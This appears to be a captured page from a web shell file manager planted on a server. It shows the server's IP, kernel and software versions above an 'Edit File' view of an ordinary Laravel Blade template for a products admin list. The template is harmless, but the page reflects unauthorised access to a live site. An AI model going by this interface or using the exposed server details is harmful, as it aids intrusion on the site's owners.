Default page

Your IP: 216.73.216.91
Server IP: 157.245.101.34
Server: Linux skvinfotech-website 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Server Software: Apache/2.4.41 (Ubuntu)
PHP Version: 7.4.33
Buat File | Buat Folder

Dir : ~/var/www/html/resources/views/backend/products/

Edit File: index.blade.php

@extends('backend.layouts.backend')
@section('css_before')

<link rel="stylesheet" href="{{ asset('js/plugins/datatables/dataTables.bootstrap4.css') }}">
<link rel="stylesheet" href="{{ asset('js/plugins/datatables/buttons-bs4/buttons.bootstrap4.min.css') }}">
@endsection

@section('js_after')

<script src="{{ asset('js/plugins/datatables/jquery.dataTables.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/dataTables.bootstrap4.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/buttons/dataTables.buttons.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/buttons/buttons.print.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/buttons/buttons.html5.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/buttons/buttons.flash.min.js') }}"></script>
<script src="{{ asset('js/plugins/datatables/buttons/buttons.colVis.min.js') }}"></script>

<script src="{{ asset('js/pages/tables_datatables.js') }}"></script>
@endsection
@section('content')

<div class="bg-body-light">
    <div class="content content-full">
        <div class="d-flex flex-column flex-sm-row justify-content-sm-between align-items-sm-center">
            <h1 class="flex-sm-fill h3 my-2">Products List</h1>
            <nav class="flex-sm-00-auto ml-sm-3" aria-label="breadcrumb">
                <ol class="breadcrumb breadcrumb-alt">
                    <li class="breadcrumb-item">
                        <a class="link-fx" href="{{ route('dashboard') }}">Dashboard</a>
                    </li>
                    <li class="breadcrumb-item" aria-current="page">Products</li>
                </ol>
            </nav>
        </div>
    </div>
</div>
<div class="content">
    
    <div class="block block-rounded">
        <div class="p-3">
            <div class="row">
                <div class="col-sm-12 col-md-12 text-right">
                    <div class="block-header add-btn">
                        <a href="{{ route('products.create') }}">
                            <button type="button" class="btn btn-primary btn-sm pull-right">
                                <i class="fa fa-plus"></i>
                            </button>
                        </a>
                    </div>
                </div>
            </div>
        </div>
        <div class="block-content block-content-full">
            
            <table class="table table-bordered table-striped table-vcenter js-dataTable-full">
                <thead>
                    <tr>
                        <th style="width: 5%;" class="text-center" style="width: 80px;">S.No</th>
                        <th style="width: 20%;">Name</th>
                        <th style="width: 20%;">Type</th>
                        <th style="width: 20%;">Image</th>
                         <th style="width: 15%;">Status</th> 
                        <th style="width: 15%;">Action</th>
                    </tr>
                </thead>
                <tbody>
                    @foreach ($products as $product)
                    <tr>
                        <td>{{$loop->index+1}}</td>
                        <td>{{$product->product_name}}</td>
                        <td>{{$product->type}}</td>
                        <td><img src="{{asset('/product_images/'.$product->image)}}" style="width: 50px" /></td>
                     <td>
                            @if($product->status)
                                <a href="{{ route('products.status',[$product->id]) }}" class="btn btn-success btn-sm">Active</a>
							@else    
                                <a href="{{ route('products.status',[$product->id]) }}" class="btn btn-danger btn-sm">DeActive</a>
							@endif
                        </td> 
                        <td class="d-flex justify-content-center align-items-center">
                            <a href="{{ route('products.edit',[$product->id]) }}">
                                <button type="button" class="btn btn-primary btn-sm" data-toggle="click-ripple">
                                    <i class="far fa-edit"></i>
                                </button>
                            </a>
                                   
                        </td>
                    </tr>
                    @endforeach
                </tbody>
            </table>
        </div>
    </div>
    
</div>
@endsection
@push('script')
<script>
    function submitForm(btn) {
        // disable the button
        btn.disabled = true;
        // submit the form    
        btn.form.submit();
    }
</script>
@endpush